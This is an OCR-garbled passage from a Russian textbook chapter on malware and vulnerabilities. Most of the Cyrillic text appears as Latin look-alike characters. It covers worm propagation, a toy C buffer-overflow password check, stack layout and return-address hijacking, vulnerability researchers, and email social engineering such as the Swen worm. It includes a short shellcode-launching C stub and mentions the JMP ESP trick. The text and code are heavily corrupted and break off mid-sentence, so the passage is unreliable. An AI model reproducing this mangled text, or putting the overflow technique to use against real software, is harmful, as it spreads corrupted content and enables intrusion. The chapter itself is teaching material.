CjieajTomiiH 3Tan pa6oTbi THnHHHoro HHTepHeT-lrepBH 3aKJiioHaeTCH b 
t o m , hto oh  nepeTacKHBaeT Ha aTaKOBaHHbift KOMnbroTep CBoe ochobhoc 
«Tejio». JXjisi aToro Moaoio, 3anycTHB uiTaTHbiH F T P - k j ih c h t  onepanH - 

ohhoii cncTeMbi (nporpaMMbi F T P .E X E  h jih  T F T P .E X E ),  o6paTHTbca 
k aTaKyiomeH MauiHHe, Ha Koxopoii ocTaBinaaca nacTb HepBH « b h ch t »  b 

naMHTH h  paooTaeT FTP-cepBepoM, h  cKanaTb ero (qepB5i) Ha aTaKyeMyio 

MauiHHj7 Tenepb yace iiojihoctmo . B03M0acH0 Hcn0Jib30BaHHe HepBe.w h  

HHbIX npOTOKO.TOB, OTJIHHHbIX OT FTP.
B o t h Bee. /lajibHeHuiHe achctbhh yepBH yace JierKO npeacKaayeMbi. 

O h  pacKJiaawBaeT ccoh no KaTajioraM, noMemaeT HyacHbie 3anncH b koh- 
(|)HrypamioHHbie (fraiiJibi hjih PeecTp, nocjie 'iero acaeT nepe3arpy3KH.

ftp://FTP.EXE
ftp://FTP.EXE
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riocjie nepe3anycKa onepaqHOHHOH CHCTeMbi CTapTyeT h na^HHaeT pa6 o- 
TaTb yace ocHOBHaa HacTb xiepBff. Oahh n0T0K nepBa cKamipyeT nopTbi 
y/ia/ieiiHLix KOMnbioTepoB, apyroii pacKii/ibiBaeT Ha 3th KOMnbroTepbi 
iue/iJi-Ko/[b i. TpeTiiH «cjiyacm> FTP-cepBepoM h acaeT 3anpocoB ot mejui- 
KOflOB, 3aKpeniiBmHxcH Ha yflajiennoM «iuianziapMe>> h t .  n.

TaKHM 06pa30M, THIIHHHblH HHTepHeT-HepBb -  flOBOJIbHO CJIoaCHblH 
IipOrpaMMHbIM KOMn/ICKC, COCTOHIIIHH H3 HeCKOJIbKHX riO/K'HCTeM H cno- 
co6hhh pa6oTaTb b HecKOJibKHX peatHMax. BuBaeT, oh aaace o<|)opMJiaeT- 
ca B BHue HecKOJibKHX nporpaMMHbix c})aiiJioB.

IlepBaa «naTHJieTKa» XXI BeKa 03HaMeH0BaJiacb MaccoBbiMH ami- 
fleMHHMH HHTepHeT-'iepBeH, 3apaacaBinHX KaK o6 biMHbie MauiHHbi no/i 
ynpaBJieHHCM pa3JiHMHWx BepcHH Windows (HanpHMep, Net-Worm. 
Win32.Lovesan hjih Net-Worm.Win32.Sasser), TaK h BuaejieHHbie 
ceTeBbie cepBepbi (HanpHMep, Net-Worm.Win32.CodeRed hjih Net- 
Worni.Win32.Slammer). HuTepeciio, hto b 6 opb6 e c snnaeMHeH Biipyca 
Net-Worm.Win32.Lovesan onpeae.neHHyio pojib cwrpaji «KOHTpBHpyc> 
Net-Worm. Win32. Welchia, K0 T0 pbiH CHanajia noMor noracHTb «Bpa- 
acecKyrc>» amifleMHio, a noTOM ycTpoHJi cbojo co6 cTBeHHyio. CrpaflaJiH 
h Linux-cHCTeMbi -  ot nepBeft rana Net-Worm.Linux.Slapper h Net- 
Worm.Linux.Ramen, npHHLmn uchctbhh kotophx b o6ihhx qeprax no- 
xoac Ha npiiHHHn fleftcTBHa hx Windo ws-co6paTbeB. Bo BTopoM nara JieTim 
«cynep3mweMHH» yace He 6bi.no, ho Ko.ranecTBo pacnpocTpaimroinHxca 
nepe3 HHTepHeT nepBeft, ncnojib3yiomHX KaK CTapbie H fle n , TaK h HOBbie 
yH3BHM0CTH, OCTaJIOCb 3HaMHTeJIbHbIM.

Ochobhoh cnoco6 6opb6bi c no/io6HbiMJi BHpycaMH -  npHMeHemie 

4)afipBojuioB (6paHflMayapoB), KOTopbie cnoco6iibi aHajiH3HpoBaTb ceTe- 
boh Tpa(|)HK h «3aKpbTBaTb»- Te hjih HHbie nopTbi.

6.5. KaK nepBM np0HM<ai0T b KOMnbiarep
..J&opmem* cnocodmu npommarm> e Kopaojw. 
Kopa6m> tix myaiaem. JJ.w qyamwHusi uanoM- 
Hto, vm o hu niazopny, hu daxce nanmuaHUHy, npu  

eceM ux ozpomhom cxodam e c HejioeeKOM, juoko- 
eyio nepenowcy He npeodaiemb. JImk npocmo He 

pacKpoemcx neped hum...

A. h B. CipyraiiKiie. •sMa.iwmo

B oTeHecTBeHHoii KOMnbKrrepnoii cpeae onpe;ie;ieHiiyio H3BecTHotTb 110- 
jiymum uiyTJiiiBbie «aKciioMbi M. P. IIIypa-5ypbi»:
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B K a x f lo t i n p o rp a M M e  e c rb  xoth 6tJ o fx m  ouiuSKa. E c jih  o u jh 6 o k  Her, 
t o  HeBepeH a j iro p m M . E c jm  a n ro p m M  eepen, t o  nporpaM M a hu kom y  
He nyxH a ,

yB U , B HHX CJIHUIKOM MHOTO TOpbKOH npaB£H . H  CJIHUIKOM MaCTO 

HMeHHO o u ih 6 k h  h  HeTOHHOcTH b CHCTeMHOM nporpaMMHOM ooecneneH H H  

cjiyacaT  bxo/ihbim h BopoTaM H &nx c eT eB oa  h h ^ c k u h h .

B b iu ie  mm yace npHBOflHjiH npHMep c nepecnyp «apy3Kejiro6HbiM» ra- 
3Hp0B0MHbIM aBTOMaTOM, Tenepb paCCMOTpHM peaJIbHbie yfl3BHMOCTH 
b nporpaM M HOM  oSecneneHHii. Bojiliiihhctbo h3 h h x  CBH3aHH c Tan H a- 

3biBaeMWM «nepenoJiHeHHCM 6y4>epa», to  ecn> c CHTyamieii, Korjia 06- 
pa6aTUBaeMbie AaHHbie He yMemaioTCH b 0TBe,aeHHyj0 /ijih h h x  o6 jia cTb  

naMHTH. CTpaaaioT o t nojioGnux yasBHMocTeft jioKajibHbie h  rjio6ajibHwe 
MacciiBbi, cTeKH, ny.'ibi /mHaMHMecKoft naMHTH h t .  n. Bot npHMHTHBHan 
nporpaMMa Ha H3biKe Ch:
( ( in c lu d e  < s td io -  ti>
( ( in c lu d e  ^ s t r in g ,  h>

in t  check_password(lnt a, In t b, in t  c) {
c h a r  s [ 8 ] ;
p r in t f ( " B e o a n  nap onb : " ) ;  s c a n f ( " * s " ,  s )  
r e tu r n  s t rc m p (s ,  " s e c r e t " ) ) ;

i

® ain() {
in t  q=check_password(0x123456/8,0x87654321,OxABCDEFOO); / /  Bbl30B nposepKM

iiauoiiw

i f  ( ! g )
p r i n t f  ( fJoSpo n o s a jto M T b ! ” ) ;  

e ls e
p r in tfC 'f lo c T o p o H H U M  exo fl B o cn p e iiie n !" ) ;

}

H e  6y/ieM cn.ibHO KpHTHKOBaTb h h  cTH.rtb, h h  CTOHKOCTb 3amHTHoro 
M exaHH3Ma 3toh  nporpaMMH. Otmcthm Jiwuib cym ecTBOBauHe o’leBHa- 
Hbix MeTOflOB ero B3.noMa: 1) no/jeM orpeTb  npaBHjibiibm napoJib BHyTpn 

nporpaMMHoro (Jjaiijia; 2) BH;ioii3MenHTb Kozibr MaimiHHbix kom3Ha b h v t -  

pn nporpaMMHoro 4>anjia. 3a6yaeM npo ara MeTo^bi, npe/uiojioaciiB, hto 
nporpaMMHbiH c}>aHJi 3 ji oy.\ibimjieh h h kv npocTo He/iocTynen. TeM He Me- 
Hee 060HTH 3aiuirry Bee » e  B03M0>kh0.

JlejlO B TOM, MTO MaiUHHHblH KOA, nO Jiyje ilH h lH  B pe3VJIbTaTe KOMnH- 
JIHIIHH nporpaMMHblX TeKCTOB, no/nac HMeeT 0C06eHH0CTH, COXpaHHIO- 

iuhcch  BHe 3aBHCHM0CTH o t  iiciioj(b30Baniroro KOMiiHJiHTopa h  onepami- 
OHHOH CHCTeMbI. B  MaCTHOCTH, B nporpaM M aX, HanHCaHHblX Ha H3bIKC C h , 

n p n  BbiaoBe cJjyHKHHH n o 'iTH  B ceraa  nponcxo/iH T  c jie jiy io m ee :

/,/ Macons flJtn xpaHeHHq napo/in 
/ /  Sanpoc bso a  napo iis  
/ /  flpoeepKS napo/ip
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O  b CTeK 3aH0CHTCH napaMeTpbi BU30Ba (b  o 6p arao M  nopaaK e);
O  b CTeK 3aH0CH:TCH aapec B03BpaTa h  BbinojiHHeTCH n ep exo /i Ha nep- 

Byio KOMaHay (|)vhkuhh;
O  nepea HanajioM BbinojiHeHHH TeJia (jjyHKUHH b CTeKe pacnpeae- 

jihctch npocrrpaHCTBo noa .aoKajibHbie nepeMeHHbie ( to ecTb noa 
nepeMeHHMe, omicaHHbie BHyTpH 4)yHKumi);

O  ec jm  (jjyHKUHH npHHaa-ieacHT chctcmhhm nnHaMMHecKMM 6n 6 m o -  
TeKaM OnepanHOHHOH cucTeMM Windows 9X/NT (to  ecn> rjisi ee 
Bbi30Ba Hcno/iMOBana cxeMa Bbi30Ba «stdcall»), to  nocjie 3aBepuie- 
hhh pa6ora xejia 4>yHKiinn yKaaaTejib cxera cMemaexcn TaK, htoom 
ocBo6oanTb o&JiacTH, 3aHHMaeMbie nepeMeHHWMH h napaMexpaMH;

O  aapec B03BpaTa H3BJieKaeTCH H3 cTeKa, h no HeMy Bbirio/iHaexca 06- 
p a T H u ii nepexoa  Ha KOMaHay, c .ieayfom yio  3a bkbobom  (|>yHKUHn;

O  ecjin (JiyHKmia npraaaJieacHT np0H3B0..ibH0ii npiiKJiaaHOH npo
rpaMMe hjih  HBJIHeTCH HacTbio cncxeMHoro nporpaMMHoro o6ec- 
neweHHH h h h x  onepamioHHbix cHcxeM ( t o  ecTb jsjisi ee BH30Ba 
Hcii0Jib30BaHa cxeMa Bfaisoea «cdecl»), to  yKa3axeJib CTeKa KoppeK- 
xnpyexcn nocjie B03BpaTa.

ripOH3BOaHTe.TH KOHKpeTHbIX KOMnHJIHTOpOB, pafioTaiOUlHX B pa3HMX
onepam ioHHbix c iicreM ax (MS-DOS, Windows, BSD, Linux1 h t. n .), mo- 
ry r , kohchho, BnaoH3MeHHTb cxeM y Bbi30Ba, ho b jik>6om cjiynae OHa 6yaeT 
npeacTaBJiHTb co6oh hckvio pa3H0BHaH0CTb BbiuieonHcaHHOH. He o6pam an  
BHHMaraoi Ha MejiKHe pa3;iHMH« b cxeMax Bbi30Ba, mojkho npeacTaBiiTb ce6e 
HeKyro o6o6m eHHyio KapniHy -  KaK 6yaeT Bbirjinaexb c tc k  nporpaMMbi 
b MOMeHT HanaJia pa6oTbi (jjyincHHH «check_password» -  cm. pac. 6.12.

Pocr
desa

B HaHane paSorw Hocne Bsoaa napcaw

▲
l)azanbHbie
nepeveHHbse
CjtyHKUMH 3anormeHHe

6y4>epa

Ctpona uapojw

A«pec ao3Bpara

PlapaMetpbj DapaMerpbt
f

P h c . 6 . 1 2 .  npocTenujafl y«3BHMocTb, 
CB«3aHHaa c nepeKpbiTMeM cteKa MaccuBOM

1 3aecb h  a a jie e  noa Linux 6yaeM  nonnM aTb n e  KonicpeTHyio onepanKOHnyro cn - 

CTeMV, a orpoMHoe ceM eftcTBo (Ubuntu, Debian, Fedora h  up.), ncncu ibayiom ee 

o6mee aapo.
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JIoKajibHbie nepeMeHHbie cjjyHKUHii ( a  xoHHee MaccHB AJW xpanem ia  

CTpoKH n a p o jia ),  aapec  B03BpaTa h  napaMexpbi, nepeflaBaewbie 4>v h k h h h , 

xpaHaTca pa#OM  A p yr c apyroM  -  b CTeKe.
Tenepb npeAnoJioJKHM, mto n0Jib30Baxe/ib bbo ah x  CTpoKy n a p o jia . 

IIoK a ee fljiHHa He npeBHiiiaeT pa3M epa oxBeaeHHoro 6 ycJ)epa ( b  HarneM 

cjiy^ae 8  6 a iixoB ), nporpaM M a 6 yAex pa6 oxaxb K0 ppeKXH0 . H o  KaK TOJibKO 

ri0Jib30BaxeJib BBeaeT cahuikom  flJiHHHyio CTpoKy (a  b  a3UKe C h  no yMOJi- 
MaHHio nepece'ieHH e rp aH H ii h h k b k  He KOHxpojinpyexca), MaccHB n ep e -  

noJiHHXca, h  a a p e c  B03Bpaxa 113 (JjyHKUHH 6 ya e T  3aMeHeH h ckh m h  AaH- 

HbiMii, npeflcTaBJiaiomHMH co 6 oh «x b o c x »  BBo/iMMoro napo jia . O xcro^a  

BHxeKaex M/jea B3Ji0Ma [1 1 ,1 2 ] :  ecjiH c(|)opMHpoBaxb « x b o c t »  napo/ibHoft 

CTpoKH XaKHM 06pa30M, MXo6 bI OH COOTBCXCTBOBaJI 3apaHee H3BeCXH0My 

a a p e c y  n a M a n i,  t o  B03BpaT 113 n p o n e a y p b i oyzteT  BbinojmeH h c  b m aBH yio  

nporpaMMy, a xy^a, KVAa 3aAyMaji 3AoyMbmuieHHHK.

B  pe3yjibxaTe 3JioyMbimjienHHK Moacex 3acraBHXb nporpaM M y He 

TOJibKO nepeiixH  Ha co o 6 meHHe «/ Io 6 po n 0 »caA0 Baxb!», ho  h Ha cbom 

nporpaM M HM ii koa , pa3MemeHHbiH b tom  jkc ctpokobom  6y4>epe BMe- 

cto  cxpoKH n ap o jia  ( s t o  npom e Bcero cAejiaxb n p n  noM om n MauiHHHOH 

KOMaHAM « J M P  E S P »  c koaom  0 E 4 F F h ).  3 xa  «X H xpaa » cxpoKa, noaaBa- 

eMaa Ha b x o a  nporpaM M bi h  coAep>Kamaa h koa, h  aaHHbie, aBJiaexca He 

neM HHbiM, KaK ynoM anyxbiM  paHee shell-KOAOM. Pa3VMeexca, npHBeAeH- 

Hbifl npHMep oneHb npm oix iiB eH  h HepeaAHcxiweH, ho hackd nepexBaxa  

ynpaB/iem ia nporpaM M on co cToponbi nocTopoHHero KOfla njuiiocxpH py- 

eT Bnojine aAeKBarao.

KoHeHHO, ec.xii H3BecTeH npuH iinn  Hcno;ib30BaHHa ya3BHMocxn, 

Aojijkhm cj^mecTBOBaTb h «KOHTpnpniinHnbi». H anpiiM ep, ecsm  axaKye- 
Maa nporpaM M a HanncaHa Ha riacKa/ienoAoono.M a3WKe (axo  Moacex 6 brrb 

caM Pascal, h a h  M o d u la -2 , iijih  O be ro n , h jih  em e Hxo-HH6 yAb b stom  

poA e ), t o  caM KOMnHJiaxop o3a6oxnxca npoBepKoii iicaocxh octh  CTeKa 11 

He n03B0JiHx shell-KOAy nepexBaxnxb ynpaB/ieHHe. ripaBAa, b  sxom cAynae  

nporpaM M a, CKopee Bcero, npocxo  «BbUiexHX» c cooomeHHeM 0 6  ornnoKe. 

f lp y ro fl cn oco 6  6 opb6 u  c n epeno jiH eH H eM  6y4>epoB -  BbiAeJiaxb u x  He 

b cxeKe, a b  AiinaMHMecKoii naM axn. Ecxb h  cnoco6  HOMep xpn, h cn oco 6  

H oM ep MeTbipe h  t. A- B ee  ohh  3k th bho  npiiMeHaioTca a m  HanncaHHa 

« 6 e3 o iim 6 oMHbix» nporpaM M . H o  cxonpoueHXHoft rapan n iH  KoppeKX- 

hocxh h oh h  He a^iot. Beffb xnnHHHbie cHcxeMHbie nporpaMMbi coAep- 

»cax m h jia h o h h  cxpoK KOAa, HanncaHHbix b  pa3Hbix ycAOBiiax pa3HbiMii 

nporpaM M ucxaM H. KaK hh  Bbuni3biBaH, hh  oxAaacHBan, hh  xecxHpyi-i 

TiiKVK) nporpaM M y, Bee paBHO npocM oxpHiiib KaKyio-HHoyAb «M ejio>ib»: 

b oah om  M ecxe  n e  n p o B e p a e x c a  KOjureecxBO napaM expoB , nepeAaB aeM bix
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4>yHKUHH; b apyro.M -  n oa  JioKaJibHbie .aaHHbie B b w e m e T c a  CTaTHHecKHH 

MaccHB; em e r/ie-pjH6 y/ib BMecTo «# jih h h m x » yKa3aTeJie& Hcnojib3yrc>TCM 

•«KopoTK H e» h t. n. JXa h  c p o K ii Ha OTJiaflKy orpaHiineHbi: eaceroflHO n o - 

flBJIHIOTCJI HOBble BepCHH OnepaHIIOHHMX CHCTe.M H CHCTeMHbix nporpaMM  

c hobhm h  oniH6 KaMH, h  3apaHee npeacKa3aTb, rae  h  b  k3koh momcht 0 6 - 

HapyjKHTCH HOBaa «n b ip a », npaKTHHecKH neB03M0acH0. K ohchho, npoH3- 

BOflHTeJIH 3KTHBH0 3aHHMaiOTCSt nOHCKOM 0 UIH6 0 K H B HOBOM, H B flaBHO 

3 Kcn/iyaTHpyeM0M nporpaMMHOM o 6 ecneMeHHH, peryjm pH o BbiriycKaroT 

0 &H0 BJieHHH, 43atu iam K U » (m a m u u p )  n  t .  n. H o  C K opoii h oKOHHaTeJibHOH 

no 6 ezibi H aa ya3BHMocrawH noKa He oaamaeTCH.
IIohckom  ouih 6 ok  saHHMaioTCH He TOJibKO npoH 3Bo/[HTejin nporpaMM- 

Horo o6ecne4eHHH, ho  h MHoroHHCJieHHbie «nocTopoH H H e» iiccjie#o- 
BaTejiH. 3 t o  He Bupyeoim caTe.™ , b to  npeziCTaBHTe.ra coBceM apyroH  

xaKepcKoii ciieuHajiH3anHH -  «p eeep cep u ». Hx 0 CH0BHbie HHcxpyMeH- 

Tbl -  OTJia/IHHKH H JJHSaCCeMOJiepbl (fle KOMI1H JI HXO p bl). Hepe/IKO B hx  pac- 

nopH5KeHHH HMeioTCfl flaace ncxoanbie  t c k c t h  uccjieayeM bix nporpaMM: 

B HacniocTH, xojibKO b X X I  BeKe np0H30WJiH, no Kpairaeft Mepe, /[Be Kpyn- 

Hbie VTCHKH KOH(J)HfleHHHaJIbHbIX MaTepHaJIOB 113 Microsoft. A  HCXOAHHH 

TeKCT 3HaHHTejibHoii nacTH nporpaM M Horo o 6 ecneHeHHH H.na Linux bo- 
o 6 m e OTKpbrr a  o6 m eaocTyneH f. PeBepcepoB M oaaio pa3/jejiHXb Ha Tpn  

Gojibiune rpynnw .
IlepByio rpy n n y  o6pa3yioT * ,6 e jiu e  u u ism u »  -  pecneicra6 eJibHbie koji- 

JieKTHBbl HJIH npOrpaMMHCTbl-OAHHOHKH, JierajIbHO 3aHHMajOIUHeCH 

«pacKonicaM H» b hv»com nporpaMMHOM KOfle. H aflaa yH3BHM0CTb, ohh, 
KaK npaBHJio, HanpHMyio o 6 pamaioTCH k npoH3BojiHTejiio «c jia 6 o ro »  

nporpaMMHoro o 6 ecneHeiiHK, npeaynpeacflaji: *rocno/ia, bot t v t  y  Bac -  

A H pK a»! B  oTBeT mo»cho nojiyHHTb 6 jiarojiapH 0 CTb hjih aaace He6 ojibiuoe  

aeHeacHoe B03HarpaacjieHiie. H o  nam e -  HacMeuiJiHBoe HeflOBepne: «Bce, 

mto b h  o 6 HapyacHJiii, HeB03M0»CH0, n03T0My hto stopo He Moacex 6 biTb 

HHKoraa». IIoAHac, nojivHHB CBeflem w 0 6  vh3bhmocth, 4>npMa-npoH3Bo- 
AHTejib HeziejwMii h  MecauaMH «H 3ynaex n p o 6 jieM y», He npeflnpiiHMMasi 

HHKaKHX aKTHBHbIX fleHCTBHH, B Hafleacae, HTO 3a 3T0T CPOK HH(]X)pMaaH5I 
0 6  V5I3BHMOCTH OCTaHeTCH T3HH0H, a nOTOM VX.C BHHfleT HOBafl BepCHH 

nporpaMMbi. B  stom cjiynae 0 4iio/iBHre 6 ejioii w jran b i» hhkto h HHKoraa 

He >'3HaeT. CKyHHO H HCBbirOflHO OblTb « 6 eJIOH IHJIHIIOHK

B x o p a #  rpynna -  * c e p u e  u u is m u » . 06HapyaciiB  «A b ip y », oh h  HeMea- 
JieHHO HaHHHatOT 6HTb BO Bee KOJlOKOJia H paC.npOCTpaHHIOT HHCf)0p.MaHH10

1 B 2009 r. b OTKpuTOM flocryne noflBii.mci> o6mnpHbie 4>parMeHTbi hcxokhux 
T e K C T O B  o t  J l a 6 o p a T o p i i H  KacnepcKoro.
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o naxo/iKe no BceMy Miipy. M  b  axoii cHTyam m  HayiiHaioTCfl «roH K H ». Ilo- 
neM y  nporpaMMHCT H3 cfmpMbi Microsoft aoJiJKeH 6 biTb BHMMaTejibHee 

h  coo6pa3HTe.'ibHee, neM KaKOH-Hii6 vAi> uiKOJibHHK m  YpionHHCKa hjih  

KJiepK H3 Tyam acoy? IlopoH Biipycbi h  TpoHHCKiie nporpaMMbi, ncnoiib- 
3yiomHe yH3BHM0CTb, noHBJiaioTCH paHbiue, <ieM «jieKapcTBO» o t  Hee. 
A  HecKOJibKO pa3 6 biBajio h  TaK, hto  roroTOBHTejib nporpaM M Horo o6ec- 
neHeHHH ToponjniBO BbinycKaji 3anJiaTKy, 3aKpbiBaioiiiyio «flbipy», ho o t -  
KpblBaiOmj^IO ABC HOBbie. TIpHXOZlHJIOCb BCJle/l 3a HCH BbinyCKaTb TpeTblO, 

MCTBepTyio... B o t  TuniiMUbie «b c c th  c nojieii»:

20.05.2005. fl0/ib30BaTe/iui Linux, Koropbie o 6 h o b m /w  c u c re M y  
b  npoLunoM M e c m e  m -3 a  n a w e H H o ti yasB H M O cm  b  KDE, a o j v k h u  
6yM yr craBMTb Hoayio 3an/iaTKy. J\e n o  b  t o m , h t o  npoujnbtH n a n  c o -  
a e p x a n  ouiv\d>Ky, M3-3a K om p o ti 6bin He9<t><$>eicrmeH. Yfi3BMMocTb 
Kacajiacb KOM noHem a k im gio... f la v in , BbtnymeHHbie pa nee, p e iu a - 
m  dojibuiMHCTBO npo6/ieM , OMHaKO n p r n n e c m  HOBbie -  KOMnoneHT 
CTa/i necoBMecTMM c  M3o6pa>KeHMfiMM. r g b ...

19.08.2008. Microsoft nepen3jjaJia nanA/ist cnyxdbi Windows Server 
Update Services... Microsoft Bbtmixm oLuudtcy CMHxpoHM3ai4MM b Of
fice 2003 Service Pack 1 n noodemana nan, BbmymeHHbifi 9 uioHfi. 
OjjHaKO nofiBmuMHCfi n a n  ne cran OKOHHare/ibHbiM pemeHneM, ran 
KaK HeKoppeKTHO ycraHaBiJMBaocs na icoMnbtorepw c Windows Server 
2008. 1 aBrycra nocrynuji b 3arpy3Ky nepeu3AaHHbiM na n , a Ha mhrx 
oh eute pa3 noABeprca 06H0B/ieHM0. ..

Eme noKa3aTeJibHee rpynna H3 10 yH3BHM0creii b npHJioacemiHX MS 
Office, nocjieaoBaTejibHo o6HapyaceHHbix h iicno.n b30BaHHbix kht3hckh- 
mh xaKepaMH b MapTe-HioHe 2006 r. IIporpaMMHCTU H3 Microsoft Bbinyc- 

t iijih  10 «3an/iaT0K», bm ccto Toro mto6 m o/jiioKpaTHo npoaHajiH3HpoBaTb 

h HcnpaBHTb oomyio omn6Ky b nporpaMMHOM ko/ic, pa6 oTaiomeM c cjjop- 
mstom Structured Storage.

HxaK. yH3BHM0CTH HcnpaB-TaioTCH fla.neKO He cpa3y h He Bceraa Kop- 

peKTHO. A  B 3T0 BpeMM HCCJItTIOBaTeJIb, o6Hapy*HBIUHII V»3BHMOCTb, na- 
cjiaac/iaeTCH noneTOM h H3BecTH0CTbi0. O/ihh npoKJiHHaioT ero, A pvrae  

npeB03H0C5iT. Hmh « r e p o a »  He cxo^ht c hobocthhx JieHT b H uTepnere, 

oh no.'iy'iaeT MHoromicjieHHbie npeflJio»ceHHH o coipyaiiH'iecTBe, ero  

npiirjiauiaiOT Ha BbicoKooiuia'iHBaeMVio pa6oTy. BbiTb «cepo ii iiijihiioh» 
HHTepecHO h BbiroflHO, npaBzia, Bbi3biBaeT comhchiih sTiwecKafl CTopoHa 

noaooH oro  iiobcziohmh.
HaKOHeu, mepHhie wjiHnu» -  3to azteriTbi 'u-pnon KOMnbfOTepHOH Ma- 

raH. 06Hapy>KiiB hobwh cnoco6 rrpoHHKHOBemia b ciictcmv, ohh aejiHTCH
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HaXOflKOH TOJibKO CO «CBOMMH». MlicjxipMaUHfl 0 6  yjI3BHMOCTHX 0 6 bIHH0 

pacnpocTpaHHexca b  bhjic o K c ru io u m o e *  ~  KopoTeHbKHX nporpaMMOK, 
aeMOHCTpiipyiOmHX Hfleio npOHHKHOBeHHX B HVJKyK) CHCTeMy.

/. TWHNHUa HCXOEHblii T0KCT TMIlMMHOrO SKCH.noiiTa ./ 
unsigned c h a r shellcode[] =
"\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"

"\xF8\x50\xBB\xC7\x93\x8F\x77\xFF\xD3; 
int main () { 
int * ret;
ret=(int *)8,ret+2;
printf("Snellcode Length is : %d'\strlen(shellcode));
(*ret)=(int)shellcode; 
return 0;

}

Cpe^H «MepHbIX UIJTHII* SKCIIJIOHTbl -  UCHHblH TOBap. O c o 6 eHHO aopo - 
n i  h  BocTpe6 oBaHu O K c n jio u m u  n y jieeozo  d m t »  ( « 0 - d a y  e x p l o i t s « z e r o -  

d a y  e x p lo it s * ) ,  t o  ecTb caMbie cBejKHe, HHKOMy eme HenraBecTHbie pa3pa- 

6 o tk h . O h h  M o rjT  cTOHTb co th h  h tm ch 'ih  aojuiapoB. IIoJiyHHB «peuenT  

npoHHKHOBeHHH», BHpyconHcaTejiii, He Toponncb. co3flaioT cboh x  3Jio- 
BpeflOB h  b  onpeflejieHHbifl «aeH b  Jb> h  4Mac BbinycKaioT h x  Ha bojiio. 

/lajibHeiim ee pa3BHTHe c o o h th h  jierno  npejiCKaayeMO.
H h jkb  6 y jiy r  paccMOTpeHM HecKOJibKO Han6 oJiee H3BecTHbix yji3BHMo- 

cTeii.

6.5.1. «Coi4HajibHasi MH)KeHepMfl»
C aM aa urapoK aa h upHHUHiiHajibHO HeycTpaHHMaa «A b ip a » HaxojiHTCH He 

b  nporpaMMHOM o6 ecneHemiH, a b  rojioBe TimHMHoro nojib30BaTejia. HeT, 

penb HjjeT He o  potobom  OTBepcTHH b  nepene hom o sapiens, a Bcero JiHmb 

O HH3K0H KBajIH(f)HKanHH. HeBHIIM3TeJIbHOCTH H flOBepHHBOCTH OTfleJIb- 

h h x  npe/iCTaBHTejien crroro BH/ia jkhbm x cymecTB, Hace.iHiomnx njiaHeTy 

3eMJia. MeTOflbi Hcn0Jib30BaHHH raynocTH  h  r 0Ji0B0THncTBa n0Jib30Ba- 

TeJieii n o jiy m m i KpacHBoe HaHMeHOBaHiie tcouficuibHasi u w K en ep m » 
(soc ia l engineering ), xo th  Ha caMOM aejie  npaBHJibHee 6 h jio  6 bi Ha3BaTb 

HX <sOOMaHOM» H «MOIIieHHHHeCTBOM».

KaK 3anycTHTb BHpycHyro nporpaM M y Ha nyacoM KOMnblOTepe? /la 

oHeHb npocTo: npucjiaTb ee noJib30BaTe.no no  ajieKTpoHHoft n o m e . h  

nycTb oh 3anycTHT ee coocTBeimbiMH pyicaMH!

BcnoMHHTe: nepBbie noKOJieHHa 4C[)bh Macro.Word97.Melissa pac- 

npocTpaHJDiHCb b aoKyMCHTax, coflep>KamHX napojiH k  nopnocaHTaM. 
IIojibsoBaTe.’iH ca.vm 3arpyxa.iH  3 apa»eH H bie  /lonyMcnTbi b  cboh  MS
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Word, n03B0/iHH B H p ycy  npoH H K H yrb  b  cHCTeMy. IIo a o6 H b ift «TpioK» B 03-  

MO>KeH He T0JibK0 c iioKyMeiiTaMH, h o  h c nphkjia/jiiMMH nporpaMMaMH. 
/[ocTaTOHHO npH/iaTb cfiaftjiy noHTOBoro bjiokchhh, coaepacamero BHpyc- 
Hyio nporpaMMy, KaKoe-HHoyzib « 3anycKa6ejibHoe» pacumpeHHe («.BAT >>, 
«.COM>>, «.P IF », «.SCR2 h t .  n.), a onepamioHHaa CHCTeMa caMa paaoe- 
pexcfl c hctiihhwm BHVTpeHHHM 4>0pMaT0M. B caMOM » e  nucbMe cjieay- 
eT noacHiiTb, hto ii0.xb.30BaTejib 3anycKaeT He a6u hto, a «CKpHHceHBep 
c BpHTHH CnHpc>>, «iipHKOJibiiyio KOMnbioTepHyio nrpyuiKy*, «b3jiom- 
miiK BKOHTaKTe  ̂ii t .  n. Bot KaK, HanpHMep, B H p y c  E-Worm.Swen y6e:*c- 

aaJi nojib30BaTejra 3anycTiiTb «hobvio 3anJiaTKy ot Microsoft*:

(ldHKH
Q  Outlook Express 

B /VxcaflbMbie rwioi 
&  Bkoaimiw (1) 
<3 HcxoAmwie 
^  OmpaeneMMbie 
(5 yAa/ieHHMe 
<$y HepHoenKH

KoHTatcry ▼
_J*)masha v vesnusHona

Coo6meHwi: 8, m npo*#rraHo: 1 j§[ Pa6oTa s ceTH

Pmc. 6.13 <♦ rincbMO c rohtobum sepBeM Swen

Hy, n0Jib30BaTeJib, aa sa ii ace... mejncaii .tcboh KJiaBHiuen m hhikh! 14 
t o t  iixejiKa.T, 3anycKaa BHpyc.

IIpHMHTHBHo? Harjio? Ho aeficTBeHHO.
IIoHTOBbie HepBH, HCnOJIb3yK)mHe IIO/JOOHblH TpiOK, BbI3bIBaJIH Becb- 

Ma cymecTBeHHbie amizteMHH b  nepBOM im th jic th h  XXI BeKa: E-Worm. 
Swen, E-Worm.Klez, E-Worm.Borzella, E-Worm.Hybris h npoHHe.

B nponeM , 6 jiaro flapa HacTo h h h b h m  pas'bHcneHHsiM co  cxopoHbi aHTH- 

BHpyCHblX KOMnaHHH H CpeaCTB MaCCOBOH HH(|)OpMaUHH HepC3 HeKOTOpOe 

BpeMH nojib30BaTejiH b ijvh h jih  «onacH h ie» pacnm peH iia cjiafijioB h  bhhjiii 

coBeTy -  He 3anycKaTb nocTopoHHHX nporpaMM, npiixozuwiHX no noHTe.

Ilpa iiaa , s to  coBceM He o3HaHajio, hto o h h  b peayjibTaTe ciuibHo no- 

y’M H e jiH . / lo n y c T H M , npHuieainne no aJieKTpoHnofi noHTe n p o rp a M M b i 3a- 

nycKaTb Hejib3H. A KapniHKii CMOTpeTb mojkho? A TeKCTbi HHTaTb? A My- 

3biKy c j iy in a T b ?  A KJinnbi C M O Tp e Tb ?  3 a n p e T O B  hct? Hy h 3 a M e n a Te jib H o !

JE
O n  MS Corporation Technical Buletin KoMy: Consumer /,
T e n *  New Mfcrosoft Security Upgrade

M icroso ft C o n su m e r

this is th e  la te s t version o f  s e c u rity  u p d a te , the  "Ju ne  2009, 
w h ic h  resolve s all know n s e c u rity  vulnerabilities a ffe c tin g  MS 
